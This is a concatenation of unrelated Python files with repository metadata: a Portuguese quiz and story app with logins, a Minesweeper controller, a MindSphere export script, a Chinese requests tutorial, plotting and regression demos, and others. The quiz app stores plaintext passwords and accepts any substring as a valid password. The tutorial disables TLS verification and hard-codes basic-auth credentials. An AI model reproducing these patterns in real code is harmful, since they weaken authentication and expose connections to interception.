str(input("\033[1;30mEntre com o item da resposta certa: \033[m")) perguntas['Pergunta 1'] = pergunta1 ############################ Pergunta 2 ####################################### pergunta2['pergunta'] = input('Entre com a pergunta 2: ') sleep(0.3) print('Digite 5 respostas: ') respostas2['a'] = str(input("Entre com a resposta a: ")) respostas2['b'] = str(input("Entre com a resposta b: ")) respostas2['c'] = str(input("Entre com a resposta c: ")) respostas2['d'] = str(input("Entre com a resposta d: ")) respostas2['e'] = str(input("Entre com a resposta e: ")) sleep(0.3) pergunta2['respostas'] = respostas2 pergunta2['resposta_certa'] = str(input("Entre com o item da resposta certa: ")) perguntas['Pergunta 2'] = pergunta2 ########################### Pergunta 3 ####################################### pergunta3['pergunta'] = input('Entre com a pergunta 3: ') sleep(0.3) print('Digite 5 respostas: ') respostas3['a'] = str(input("Entre com a resposta a: ")) respostas3['b'] = str(input("Entre com a resposta b: ")) respostas3['c'] = str(input("Entre com a resposta c: ")) respostas3['d'] = str(input("Entre com a resposta d: ")) respostas3['e'] = str(input("Entre com a resposta e: ")) sleep(0.3) pergunta3['respostas'] = respostas3 pergunta3['resposta_certa'] = str(input("Entre com o item da resposta certa: ")) perguntas['Pergunta 3'] = pergunta3 # # ############################ Pergunta 4 ####################################### # # pergunta3['pergunta'] = input('Entre com a pergunta 4: ') # # print('Digite 5 respostas: ') # # respostas4['a'] = str(input("Entre com a resposta a: ")) # respostas4['b'] = str(input("Entre com a resposta b: ")) # respostas4['c'] = str(input("Entre com a resposta c: ")) # respostas4['d'] = str(input("Entre com a resposta d: ")) # respostas4['e'] = str(input("Entre com a resposta e: ")) # # pergunta4['respostas'] = respostas4 # pergunta4['resposta_certa'] = str(input("Entre com o item da resposta certa: ")) # perguntas['Pergunta 4'] = pergunta4 # # ############################ Pergunta 4 ####################################### # # pergunta5['pergunta'] = input('Entre com a pergunta 5: ') # # print('Digite 5 respostas: ') # # respostas5['a'] = str(input("Entre com a resposta a: ")) # respostas5['b'] = str(input("Entre com a resposta b: ")) # respostas5['c'] = str(input("Entre com a resposta c: ")) # respostas5['d'] = str(input("Entre com a resposta d: ")) # respostas5['e'] = str(input("Entre com a resposta e: ")) # # pergunta5['respostas'] = respostas5 # pergunta5['resposta_certa'] = str(input("Entre com o item da resposta certa: ")) # perguntas['Pergunta 5'] = pergunta5 questoes[titulo] = perguntas listaQuestoes.append(questoes.copy()) return listaQuestoes def leiaInt(msg): #Validação de um inteiro while True: try: n = int(input(msg)) except (ValueError, TypeError): print('\033[31mERRO: por favor, digite um numero inteiro valido.\033[m') continue except (KeyboardInterrupt): print('\n\033[31mUsuario preferiu nao digitar esse numero.\033[m') return 0 else: return n def cabecalho(txt): #Cabecalho print(linha()) print(txt) print(linha()) def menu(lista): #Menu principal dos professores cabecalho('\033[1;35mMENU PRINCIPAL\033[m') for c, iten in enumerate(lista): sleep(0.3) print(f'\033[1;30m{c + 1} - \033[m\033[1;36m{iten}\033[m') print(linha()) opc = leiaInt('\033[1;30mSua Opcao: \033[m') return opc #FUNÇÕES ALUNOS # recebe as histórias como parâmetro def verificarTemas(historias): #Verifica se um tema é repetido e adiciona na lista temaAleatorio = set() #Cria o set for historia in historias: temaAleatorio.add(historia['tema']) # o set já verifica se o elemento é repetido temaAleatorio = list(temaAleatorio) # transforma o set em lista, pois set's não tem ordem definida for i, tema in enumerate(temaAleatorio, start=1): # MOSTRA TEMAS print(f' \033[1;30m{i} -\033[m \033[1;36m{tema}\033[m') sleep(0.3) return temaAleatorio # retorna a lista de temas def leiaOpcao(historias, listaQuestoes): dicionario = dict() while True: # enquanto a escolha não for válida, pede que digite novamente try: escolha = int( input(('\033[1;30mDigite o número que está relacionado com o tema a sua escolha: \033[m'))) print() if 1 <= escolha <= len(temaAleatorio): #Pede pro usuário escolher o tema break # escolha válida, sai do while else: print(f'\033[1;31mNúmero deve estar entre 1 e {len(temaAleatorio)}\033[m') except ValueError: # se não digitar número, dá erro print('\033[1;31mDigite um número válido\033[m') cont = 0 tema_escolhido = temaAleatorio[escolha - 1] for historia in historias: if historia['tema'] == tema_escolhido: # Se a história tem o tema escolhido cont += 1 if cont > 0: print('\033[1;30mTítulos das histórias do tema escolhido:\033[m') for historia in historias: if historia['tema'] == tema_escolhido: #Aparece os titulos do tema escolhido titulo = historia['titulo'] print(f'\033[1;34m{titulo}\033[m') sleep(0.5) print() sair = 0 while sair == 0: try: titulo = input('\033[1;30mDigite a história você deseja ler e responder as questões: \033[m') for historia in historias: if historia['titulo'] == titulo: #Pede pra escolher entre os titulos do tema print() print(f'{historia[titulo]} \n\n') sair = 1 except: print('\033[1;30mO título que digitou não existe!\033[m') #QUESTÕES for i in range(len(listaQuestoes)): #Quais questões são do titulo que ele escolheu if titulo in listaQuestoes[i]: #Vai relacionar as questões ao respectivo titulo dicionario = listaQuestoes[i] perguntas = dicionario[titulo] respostasCertas = 0 for pk, pv in perguntas.items(): # Pk vai ser o numero da pergunta, pv vai ser a pergunta print(f'{pk}: {pv["pergunta"]}') print('\033[1;30mEscolha uma das opções: \033[m') for rk, rv in pv['respostas'].items(): # Rk - Simbolo da alternativa, rv - texto da alternativa print(f'[{rk}]: {rv}') sleep(0.3) sleep(3) respostaUsuario = input('\033[1;30mSua resposta: \033[m') if respostaUsuario == pv['resposta_certa']: sleep(0.3) print('\033[1;32mMuito bem! Você acertou.\033[m') respostasCertas += 1 else: sleep(0.3) print('\033[1;31mErrou! Preste mais atenção!\033[m') print() quantPerguntas = len(perguntas) if quantPerguntas > 0: sleep(1) porcentagemAcerto = respostasCertas / quantPerguntas * 100 #Porcentagem do total de acertos print(f'\033[1;30mVocê acertou {respostasCertas} resposta(s).\033[m') print(f'\033[1;30mSua porcentagem foi {porcentagemAcerto}%\033[m') sleep(0.5) else: sleep(1) print('\033[1;31mInfelizmente você não acertou nenhuma resposta!\033[m') #FUNÇÕES CADASTRAMENTO def cadastrarProfessor(): # Cadastrar o professor prof['nomeProfessor'] = input('\033[1;30mDigite o nome do professor que você deseja cadastrar: \033[m') prof['matriculaProfessor'] = input('\033[1;30mDigite a matricula do professor: \033[m') prof['senhaProfessor'] = input('\033[1;30mDigite a senha do professor: \033[m') listProfessores.append(prof.copy()) return listProfessores def cadAdm(): #Cadastra os admin inicio = 0 if inicio == 0: nomeAdm = input('\033[1;30mDigite o seu primeiro nome: \033[m') senhaAdm = input('\033[1;30mCadastre uma senha: \033[m') inicio = 1 sleep(1) print('\033[1;32mCadastrado como administrador do programa!!\033[m') cont = 3 while cont > 0: sleep(0.5) senha = input('\033[1;30mDigite sua senha de administrador para acessar o programa: \033[m') if (senhaAdm == senha): erro = 1 while erro == 1: try: esc = input('\033[1;30mCadastrar matricula de um professor? [Sim/Nao] \033[m').strip().lower()[0] erro = 0 except: print('\033[1;31mDigite Sim ou Não!\033[m') while esc == 's': cadastrarProfessor() sleep(0.5) print('\033[1;32mCadastrado com sucesso!\033[m') sleep(0.5) erro = 1 while erro == 1: try: esc = input('\033[1;30mCadastrar nova matricula? [Sim/Nao] \033[m').strip().lower()[0] erro = 0 except: print('\033[1;31mDigite sim ou não!\033[m') break else: cont -= 1 print(f'\033[1;31mVocê tem {cont} chances.\033[m') def cadastrarUsuarios(): #Chama as funções de cadastro e também realiza cadastros op = -1 aluno = dict() while op != 0: linha(42) print('\033[1;30m1 - \033[m\033[1;36mLogin Admin\033[m') sleep(0.3) print('\033[1;30m2 - \033[m\033[1;36mLogin Professor\033[m') sleep(0.3) print('\033[1;30m3 - \033[m\033[1;36mLogin Aluno\033[m') sleep(0.3) print('\033[1;31m0 - SAIR\033[m') sleep(0.3) while op != 0: try: op = int(input(('\033[1;30mDigite a sua opção: \033[m'))) #Validação para ser um int como entrada break except ValueError: # se não digitar número, dá erro print('\033[1;31mDigite um número válido\033[m') if op == 1: #Se for 1, cadastra o admin cadAdm() elif op == 2: #Se for 2, loga o professor matricula = input('\033[1;30mDigite sua matricula: \033[m') for i in range(len(listProfessores)): if matricula in listProfessores[i]['matriculaProfessor']: cont = 3 while cont > 0: senha = input('\033[1;30mDigite sua senha: \033[m') if senha in listProfessores[i]['senhaProfessor']: print('\033[1;32mLogado com sucesso!\033[m') op = 2 return op else: cont -= 1 print(f'Você tem {cont} chances.') else: print('\033[1;31mMatricula não encontrada. Por favor procure a coordenação.\033[m') else: print('\033[1;31mMatricula não encontrada. Por favor procure a coordenação.\033[m') elif op == 3: #se for 3, cadastra ou loga o aluno erro = 1 while erro == 1: try: loginAluno = \ input('\033[1;30mDeseja se cadastrar ou logar? [Cadastrar/logar] \033[m').strip().lower()[ 0] # Strip tira os espaços antes e depois, lower minusculo e [0] pega a primeira letra erro = 0 except: print('\033[1;31mOpção inválida!\033[m') if loginAluno == 'c': aluno['nome'] = input('\033[1;30mDigite o seu nome: \033[m') aluno['matricula'] = input('\033[1;30mDigite sua matricula: \033[m') senha1 = input('\033[1;30mDigite sua senha: \033[m') senha2 = input('\033[1;30mConfirme sua senha: \033[m') while senha1 != senha2: print('\033[1;31mSenhas diferentes. Tente novamente!\033[m') senha1 = input('\033[1;30mDigite sua senha: \033[m') senha2 = input('\033[1;30mConfirme sua senha: \033[m') aluno['senha'] = senha2 listAlunos.append(aluno.copy()) print('\033[1;32mCadastrado com sucesso!\033[m') elif loginAluno == 'l': matricula = input('\033[1;30mDigite sua matricula: \033[m') if matricula.isnumeric(): for i in range(len(listAlunos)): if matricula in listAlunos[i]['matricula']: cont = 3 while cont > 0: senha = input('\033[1;30mDigite sua senha: \033[m') if senha in listAlunos[i]['senha']: print('\033[1;32mLogado com sucesso!\033[m') op = 3 return op else: cont -= 1 print(f'\033[1;30mVocê tem {cont} chances.\033[m') else: print('\033[1;30mMatricula não encontrada. Por favor cadastre-se!\033[m') else: print('\033[1;30mDigite número no campo.\033[m') else: print('\033[1;30mOpção Inválida! Tente Novamente!\033[m') elif op == 0: exit() else: print('\033[1;30mOpção invalida\033[m') ######################################## Programa Principal ######################################## #Chama as funções principais op = -1 while (op != 0): op = cadastrarUsuarios() listaMenu = ['Cadastrar tema', 'Cadastrar historia', 'Mostrar titulos', 'Ler historia', 'Apagar historia', 'Mostrar temas', 'Criar questoes', 'Sair do Sistema'] if op == 2: resposta = 1 while (resposta != len(listaMenu)): resposta = menu(listaMenu) if (resposta == 1): cadTemas() elif (resposta == 2): printTemas(temas) sair = 0 chances = 3 while (chances > 0): tema = str(input('\033[1;30mEntre com o tema: \033[m')).capitalize() if (tema in temas): break print("\033[1;31mTema inexistente, por favor tente outra vez!\033[m") chances -= 1 print(f'\033[1;31mVoce tem {chances} chances!\033[m') if (sair < 3): titulo = str(input('\033[1;30mEntre com o titulo da historia: \033[m')) cadHistorias(tema, titulo, historias) elif (resposta == 3): mostrarTitulo(historias) elif (resposta == 4): lerHistoria(historias) elif (resposta == 5): apagarHistoria(historias) elif (resposta == 6): printTemas(temas) elif (resposta == 7): mostrarTitulo(historias) titulo = str(input('\033[1;30mEntre com o titulo da historia: \033[m')) #validação aqui questoes = criarQuestoes(titulo) elif resposta == (len(listaMenu)): cabecalho('\033[1;30mSaindo do sistema... Ate logo!\033[m') else: print('\033[31mERRO! Digite uma opcao valida!\033[m') sleep(5) elif op == 3: temaAleatorio = verificarTemas(historias) leiaOpcao(historias, listaQuestoes)

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allynbauer/nspygame

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refs/heads/master

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from animation import * class AnimationQueue(object): def __init__(self): self.animations = [] def add_animation(self, animation): assert animation is not None animation.queue = self animation.began = pygame.time.get_ticks() # TODO: replace with clock self.animations.append(animation) def tick(self, clock): for animation in self.animations: animation.tick(clock) finished_animations = filter(lambda animation: animation.animation_finished, self.animations) for animation in finished_animations: if callable(animation.finished_block): animation.finished_block() self.animations.remove(animation)

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allyn.bauer@gmail.com

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/02_yes_no.py

e14aa95c22450d33484e21d5718f74092dcaec70

[]

no_license

konelliusbriggs/01_Lucky_Unicorn

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def yes_no(question): valid = False while not valid: response = input(question).lower() if response == "y" or response == "yes": return "yes" elif response == "n" or response == "no": return "no" else: print("Please enter yes / no") played_before = yes_no("Have you played this game before? ") if played_before != "yes": print("show instructions")

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briggsk9489@masseyhigh.school.nz

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2021-05-18T14:32:55

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import uuid import requests import json import datetime, traceback import os import sys import configparser import traceback import csv from pprint import pprint import collections from pathlib import Path import helpers #Custom Modules import modules.readConfig as config from modules.helpers import SimpleError, SingleAssetImporterInputDataset, SingleAgentInputDataset, SingleDatapointInputDataset from modules.mindsphereApiCollection import * from modules.datamodelClassDefinitions import Asset, AssetType, Aspect, ImportStatus from modules.rowProcessor import convertRowsToClasses, extractAssetDefinitions, extractAspectDefinitions, extractAssetTypeDefinitions from modules.mindsphereDataModelManager import MindsphereDataModelManager from modules.apiHandler import ScopeNotFound ####################################### ########### MODULE CONFIG ############# ####################################### # The following block loads parameters from the config an provides them in an easy to use way in this modul: # Instead of config.<parametername> you can just use <parametername> as standalone afterwards thisModule = sys.modules[__name__] requiredParamters= "logging, tenantname, parentIdsToBeExported, exportMode, exportedDataOutputFile, exportAgentAndMappingConfiguration, convertToNeutralIds" config.setSimpleConfigParametersToModule(thisModule, requiredParamters) #Create Directory for Output# agentDefinitionsFileName = "agentDefinition.csv" directory = os.path.dirname(exportedDataOutputFile) Path(directory).mkdir(parents=True, exist_ok=True) ####################################### ######### HELPER FUNCTIONS ############ ####################################### def convertMappingDictToOrderedColumnDict(mappingDict): outputColumnsList = [] for attribute in mappingDict: if isinstance(mappingDict[attribute], dict): columnheaders = mappingDict[attribute]["matchingInputHeaders"] if mappingDict[attribute].get("excludeFromExport"): continue else: columnheaders = mappingDict[attribute] if isinstance(columnheaders, tuple): value = columnheaders[0] #In case there are multiple allowed headers for an output file, take the first one else: value = columnheaders outputColumnsList.append(value) return collections.OrderedDict([ (k, None) for k in outputColumnsList]) ####################################### ####################################### ############ MAIN BLOCK ############### ####################################### def attachDataSourcesToAgentAsset(agentAsset, mindsphereDataModelManager): mindsphereDataModelManager.collectDataSourcesForAgent(agentAsset) ####################################### def attachDeviceConfigToAgentAsset(agentAsset, mindsphereDataModelManager): mindsphereDataModelManager.collectDeviceConfigForAgent(agentAsset) ####################################### def attachDatapointMappingsToAgentAsset(agentAsset,listOfAllAssetsToBeProcessed, mindsphereDataModelManager): omittedTargetAssets = [] mindsphereDataModelManager.collectValidDataPointMappingForAgent(agentAsset) for dataSource in agentAsset.agentData.dataSources: for dataPoint in dataSource.dataPoints: for mapping in dataPoint.dataPointMappings: if mapping.targetAsset: targetAssetInScope = next((asset for asset in listOfAllAssetsToBeProcessed if asset.assetId == mapping.targetAsset.assetId),None) if not targetAssetInScope: if not next((asset for asset in omittedTargetAssets if asset.assetId == mapping.targetAsset.assetId), None): omittedTargetAssets.append(mapping.targetAsset) print(f"Attention! A target Device-Asset '{mapping.targetAsset.name}' for a mapping is not included in export defintion. Datapoint Mappings pointing to this asset will be omitted from export!") #TODO Review: Das Ding trotzdem zu exportieren, mit einer Referenz auf ein Dummy Asset macht vermutlich keinen Sinn else: print(f"Attention! A target Device-Asset for a mapping is not existing in MindSphere.") print(f"The related agent is: '{agentAsset.name}'). This is probably due to an invalid mapping ...") dataPoint.dataPointMappings = list(filter(lambda x: mapping.targetAsset not in omittedTargetAssets, dataPoint.dataPointMappings)) ####################################### def addFullAgentInformation(assetsToBeProcessed, mindsphereDataModelManager): for asset in assetsToBeProcessed: if asset.agentData: try: # First, get a potential device config attachDeviceConfigToAgentAsset(asset, mindsphereDataModelManager) attachDataSourcesToAgentAsset(asset, mindsphereDataModelManager) if asset.agentData.dataSources: # Last step: add all the existing mappings, but only if the mapped asset is part of the export attachDatapointMappingsToAgentAsset(asset, assetsToBeProcessed, mindsphereDataModelManager) except ScopeNotFound as e: print(f"!!! Attention !!! Skipping collecting of agent information for the asset '{asset.name}'...") print(f" Reason: Unkown assetType '{e}' for agent-scope detection!") print("") return None ####################################### def start(): # 1. Extract all assets (and optionally asset-types and aspects) from Mindsphere print("="*80) print("Initialize MindSphere data model now...") mindsphereDataModelManager = MindsphereDataModelManager(fullMode = exportMode == "full") # 2. Find all children # Go through list of parents to be exported and add all childs-assets to an export batch exportBatches = {} #In case there is only one parent asset to be exported, convert it to a list first parentIdsToBeExportedAsList = [] if isinstance(parentIdsToBeExported, str): parentIdsToBeExportedAsList.append(parentIdsToBeExported) else: parentIdsToBeExportedAsList = parentIdsToBeExported print("") print("... identifing data to be exported based on the source definition for the export now") for parentID in parentIdsToBeExportedAsList: currentParentAssets = mindsphereDataModelManager.getAssetsIncludingUserDecision(parentID, allowMultipleSelections=True) if not currentParentAssets: continue for assetToBeExported in currentParentAssets: assetsWithChilds = mindsphereDataModelManager.getListWithAllChildren(assetToBeExported, parentsFirst=True) exportBatches[assetToBeExported.assetId] = assetsWithChilds # 3. Merge all export batches for all given parents # Now merge data for all given export batches (which might have been definied via various parent ids given in the configuration file) mergedAssetListForExport = [] for currentBatch in exportBatches: for currentAsset in exportBatches[currentBatch]: if not next((x for x in mergedAssetListForExport if currentAsset.assetId == x.assetId), None): mergedAssetListForExport.append(currentAsset) # 4. Add Agent Data # This only takes place in case datasources and mapping should also be exported (which is defined in the config): if exportAgentAndMappingConfiguration: # Go through list with all agents and mark the coressponding assets as agents: # If asset is an agent, add the agent data with device information, defined datasources and mappings # For the ID mapping use a tracking dict, that maps internal IDs to neutral IDs (agentIDs, DatasourceIDs, Mapping IDs) # If an agent AgentAsset has been identified, the mapping list has to be looked through, to identify mapped assets: # -> In case the mapped assets are part of the export, they also need a neutral flag. # -> In case the are not included in the export, a warning should be provided, but the asset will not be exported print("... collecting agent data for assets to be exported now") addFullAgentInformation(mergedAssetListForExport, mindsphereDataModelManager) # 5. Derive lists with columns that need to be populated during the export run and that will be existing in the output format # Those columns should be the "opposite" of the import attributes, so that the import and export formats are compatible # Preparation for assets # The mapping dictionary contains the relation between object-attributes and the columns in the output-file mappingDictAssets = SingleAssetImporterInputDataset.mappingDict orderedOutputColumnsDictForAssetExport = convertMappingDictToOrderedColumnDict(mappingDictAssets) # 6. Export asset information as csv outputListAssets = [] # Initialize an empty ordered dict that will be populated during the export preparation # The keys are the names of the output for currentAsset in mergedAssetListForExport: print("Processing asset '{}' with id '{}' now".format(currentAsset.name, currentAsset.assetId)) workingDictList = currentAsset.outputAsDictionaryList(orderedOutputColumnsDictForAssetExport, fullMode = exportMode == "full") outputListAssets.extend(workingDictList) # 7 Write asset Information to csv - this could be an issue since it overwrites everything with that tenantname (also descriptions and such) replaceList = [{"oldString": tenantname + ".", "newString" : "[$$$TENANTNAME$$$]."}] helpers.writeListOfSimilarDictToCsv(outputListAssets, exportedDataOutputFile, replaceList) # 7. Prepare and export relevant agent information as csv if exportAgentAndMappingConfiguration: # Preparation for agents mappingDictAgents = SingleAgentInputDataset.mappingDict mappingDictDatapoints = SingleDatapointInputDataset.mappingDict orderedOutputColumnDictForAgents = convertMappingDictToOrderedColumnDict(mappingDictAgents) orderedOutputColumnDictForDatapoints = convertMappingDictToOrderedColumnDict(mappingDictDatapoints) for currentAsset in mergedAssetListForExport: if currentAsset.agentData: #Create Subfolder for all Agent related data agentDirectory = os.path.join(directory,"agentDefinitions",currentAsset.name + "_" + currentAsset.assetId) Path(agentDirectory).mkdir(parents=True, exist_ok=True) #Export Agent-Data with Datasource-Definitions agentDataDictList = currentAsset.agentData.getDictListOutputForAgent(orderedOutputColumnDictForAgents) replaceList = [] agentDefinitionFileName = os.path.join(agentDirectory,agentDefinitionsFileName) helpers.writeListOfSimilarDictToCsv(agentDataDictList, agentDefinitionFileName, replaceList) #Export DataPoints with DataPointMappings for each Datasource, for dataSource in currentAsset.agentData.dataSources: agentDatapointsAndMappingsDictList = dataSource.getDictListOutputForDataPointsAndMappings(orderedOutputColumnDictForDatapoints) dataSourceFileName = os.path.join(agentDirectory,dataSource.dataPointsFileName) helpers.writeListOfSimilarDictToCsv(agentDatapointsAndMappingsDictList, dataSourceFileName, replaceList) #Print out list of all neutral IDs if logging in ("VERBOSE"): lookUpNeutralId()

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/core/tests/sources/test_source.py

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saroad2/toga

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refs/heads/main

2023-01-28T01:25:31.300635

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from unittest import TestCase from unittest.mock import Mock from toga.sources import Source class SourceTests(TestCase): def test_listeners(self): listener1 = Mock() source = Source() source.add_listener(listener1) self.assertListEqual(source.listeners, [listener1]) # activate listener source._notify("message1") listener1.message1.assert_called_once_with() # activate listener with data source._notify("message2", arg1=11, arg2=22) listener1.message2.assert_called_once_with(arg1=11, arg2=22) # add more widgets to listeners listener2 = Mock() source.add_listener(listener2) self.assertListEqual(source.listeners, [listener1, listener2]) # activate listener source._notify("message3") listener1.message3.assert_called_once_with() listener2.message3.assert_called_once_with() # activate listener with data source._notify("message4", arg1=11, arg2=22) listener1.message4.assert_called_once_with(arg1=11, arg2=22) listener2.message4.assert_called_once_with(arg1=11, arg2=22) # remove from listeners source.remove_listener(listener2) self.assertListEqual(source.listeners, [listener1]) def test_missing_listener_method(self): listener1 = object() source = Source() source.add_listener(listener1) # This shouldn't raise an error source._notify("message1")

[ "russell@keith-magee.com" ]

russell@keith-magee.com

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/venv/bin/wheel

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[]

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troupn/hellowebdjango

713f5631c5d4a4c23ec00e01432c05903359e7f7

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#!/home/ubuntu/workspace/projects/myhellowebapp/venv/bin/python # -*- coding: utf-8 -*- import re import sys from wheel.tool import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit(main())

[ "ngtroup@gmail.com" ]

ngtroup@gmail.com

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/src/GameController.py

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[]

no_license

haihoangtran/MineSweeper

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refs/heads/master

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class GameController(): def __init__(self): self.SIZE = 10 (self.SEALED, self.EXPOSED, self.UNEXPOSED) = range(0, 3) self.cellStatus = [[ 0 for i in range(self.SIZE) ] for j in range(self.SIZE)] self.cellMined = [[0 for i in range (self.SIZE)] for j in range (self.SIZE)] for x in range (self.SIZE): for y in range (self.SIZE): self.cellStatus[x][y] = self.UNEXPOSED self.cellMined[x][y] = False def getSize(self): return self.SIZE def isExposed(self, x, y): return self.cellStatus[x][y] == self.EXPOSED def isSealed(self, x, y): return self.cellStatus[x][y] == self.SEALED def isUnexposed(self, x, y): return self.cellStatus[x][y] == self.UNEXPOSED def setMine (self, x, y): self.cellMined[x][y] = True def exposeCell(self,x,y): if (self.cellStatus[x][y] == self.UNEXPOSED): self.cellStatus[x][y] = self.EXPOSED return True else: return False def toggleSeal(self, x, y): if self.cellStatus[x][y] != self.EXPOSED: if self.cellStatus[x][y] == self.SEALED: self.cellStatus[x][y] = self.UNEXPOSED elif self.cellStatus[x][y] == self.UNEXPOSED: self.cellStatus[x][y] = self.SEALED return True else: return False def countMines(self, x, y): counter = 0 for adjX in range (-1, 2): for adjY in range (-1, 2): if (x + adjX) in range (self.SIZE) and (y + adjY) in range (self.SIZE): if self.cellMined[x + adjX][y + adjY] == True: counter += 1 return counter def isGameOver(self, x, y): return self.cellStatus[x][y] == self.EXPOSED and self.cellMined[x][y] == True def recursiveExposeEmptyCells(self, x, y): if self.isSealed(x, y) == False: self.exposeCell(x,y) for adjX in range (-1, 2): for adjY in range (-1, 2): neighborX = x + adjX neighborY = y + adjY if (neighborX) in range (self.SIZE) and (neighborY) in range (self.SIZE): if self.cellStatus[neighborX][neighborY] == self.UNEXPOSED and self.cellMined[neighborX][neighborY] == False: if self.countMines(neighborX, neighborY) > 0: self.exposeCell(neighborX,neighborY) elif self.countMines(neighborX, neighborY) == 0: self.recursiveExposeEmptyCells(neighborX, neighborY) def winGame(self): won = True for x in range (self.SIZE): for y in range (self.SIZE): if(self.cellMined[x][y] == False and self.cellStatus[x][y] == self.UNEXPOSED) or (self.cellMined[x][y] == True and self.cellStatus[x][y] != self.SEALED): won = False break return won

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hai.hg.tran@gmail.com

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import pandas as pd from sklearn.model_selection import train_test_split from sklearn.linear_model import LinearRegression import matplotlib.pyplot as plt dataset = pd.read_csv('Salary_Data.csv') x = dataset.iloc[:, :-1] y = dataset.iloc[:, -1] x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=1/3, random_state=0) regressor = LinearRegression() regressor.fit(x_train, y_train) predicted_values = regressor.predict(x_test) plt.plot(x_test, y_test, 'r+', x_test, predicted_values, 'b') plt.show()

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import json import requests import urllib3 from requests import ReadTimeout, RequestException from requests.auth import HTTPBasicAuth response = requests.get("https://www.baidu.com") print("response类型：",end="") print(type(response)) print("response状态码：",end="") print(response.status_code) print(type(response.text)) print("网页源代码") print(response.text) print(response.cookies) print(response.content) print(response.content.decode("utf-8")) # 各种请求 requests.post("http://httpbin.org/post") requests.put("http://httpbin.org/put") requests.delete("http://httpbin.org/delete") requests.head("http://httpbin.org/get") requests.options("http://httpbin.org/get") # get请求 response = requests.get("http://httpbin.org/get?name=zhaofan&age=23") print(response.text) import requests data = { "name":"zhaofan", "age":22 } response = requests.get("http://httpbin.org/get",params=data) print(response.url) print(response.text) # 解析JSON response = requests.get("http://httpbin.org/get") print(type(response.text)) print(response.json()) print(json.loads(response.text)) print(type(response.json())) # 直接访问知乎 response =requests.get("https://www.zhihu.com") print(response.text) # 带headers访问知乎 import requests headers = { "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" } response =requests.get("https://www.zhihu.com",headers=headers) print(response.text) # POST请求 data = { "name":"zhaofan", "age":23 } response = requests.post("http://httpbin.org/post",data=data) print(response.text) # ssl验证 urllib3.disable_warnings() response = requests.get("https://www.12306.cn",verify=False) print(response.status_code) # 代理IP proxies= { "http":"http://127.0.0.1:9999", "https":"http://127.0.0.1:8888" } response = requests.get("https://www.baidu.com",proxies=proxies) print(response.text) # 异常处理 try: response = requests.get("http://httpbin.org/get",timout=0.1) print(response.status_code) except ReadTimeout: print("timeout") except ConnectionError: print("connection Error") except RequestException: print("error") # 认证 response = requests.get("http://120.27.34.24:9001/",auth=HTTPBasicAuth("user","123")) print(response.status_code) response = requests.get("http://120.27.34.24:9001/",auth=("user","123")) print(response.status_code)

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# py self_assessment.py {nama_file csv} {list NIM orang} import csv import sys from constant import * def getSelfAssessment(nim): with open(sys.argv[1]) as csv_file: for row in csv.reader(csv_file): if(row[NIM] == nim): print(f"Self assessment nim {nim} adalah {row[NILAI_SENDIRI]}") break if __name__ == "__main__": listNIM = sys.argv[2].split(",") for nim in listNIM: getSelfAssessment(nim)

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''' Plotting two variables If you want to plot two time-series variables that were recorded at the same times, you can add both of them to the same subplot. If the variables have very different scales, you'll want to make sure that you plot them in different twin Axes objects. These objects can share one axis (for example, the time, or x-axis) while not sharing the other (the y-axis). To create a twin Axes object that shares the x-axis, we use the twinx method. In this exercise, you'll have access to a DataFrame that has the climate_change data loaded into it. This DataFrame was loaded with the "date" column set as a DateTimeIndex, and it has a column called "co2" with carbon dioxide measurements and a column called "relative_temp" with temperature measurements. Instructions 100 XP Use plt.subplots to create a Figure and Axes objects called fig and ax, respectively. Plot the carbon dioxide variable in blue using the Axes plot method. Use the Axes twinx method to create a twin Axes that shares the x-axis. Plot the relative temperature variable in the twin Axes using its plot method. ''' import matplotlib.pyplot as plt # Initalize a Figure and Axes fig, ax = plt.subplots() # Plot the CO2 variable in blue ax.plot(climate_change.index, climate_change["co2"], color='blue') # Create a twin Axes that shares the x-axis ax2 = ax.twinx() # Plot the relative temperature in red ax2.plot(climate_change.index, climate_change["relative_temp"], color='red') plt.show()

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#!/usr/bin/env python3 ################################################################################ # Copyright (c) 2020, NVIDIA CORPORATION. All rights reserved. # # Permission is hereby granted, free of charge, to any person obtaining a # copy of this software and associated documentation files (the "Software"), # to deal in the Software without restriction, including without limitation # the rights to use, copy, modify, merge, publish, distribute, sublicense, # and/or sell copies of the Software, and to permit persons to whom the # Software is furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL # THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER # DEALINGS IN THE SOFTWARE. ################################################################################ import sys sys.path.append('../') import gi gi.require_version('Gst', '1.0') from gi.repository import GObject, Gst from common.is_aarch_64 import is_aarch64 from common.bus_call import bus_call import pyds #from bindings.jetson import pyds PGIE_CLASS_ID_VEHICLE = 0 PGIE_CLASS_ID_BICYCLE = 1 PGIE_CLASS_ID_PERSON = 2 PGIE_CLASS_ID_ROADSIGN = 3 def osd_sink_pad_buffer_probe(pad,info,u_data): frame_number=0 #Intiallizing object counter with 0. obj_counter = { PGIE_CLASS_ID_VEHICLE:0, PGIE_CLASS_ID_PERSON:0, PGIE_CLASS_ID_BICYCLE:0, PGIE_CLASS_ID_ROADSIGN:0 } num_rects=0 gst_buffer = info.get_buffer() if not gst_buffer: print("Unable to get GstBuffer ") return # Retrieve batch metadata from the gst_buffer # Note that pyds.gst_buffer_get_nvds_batch_meta() expects the # C address of gst_buffer as input, which is obtained with hash(gst_buffer) batch_meta = pyds.gst_buffer_get_nvds_batch_meta(hash(gst_buffer)) l_frame = batch_meta.frame_meta_list while l_frame is not None: try: # Note that l_frame.data needs a cast to pyds.NvDsFrameMeta # The casting is done by pyds.NvDsFrameMeta.cast() # The casting also keeps ownership of the underlying memory # in the C code, so the Python garbage collector will leave # it alone. frame_meta = pyds.NvDsFrameMeta.cast(l_frame.data) except 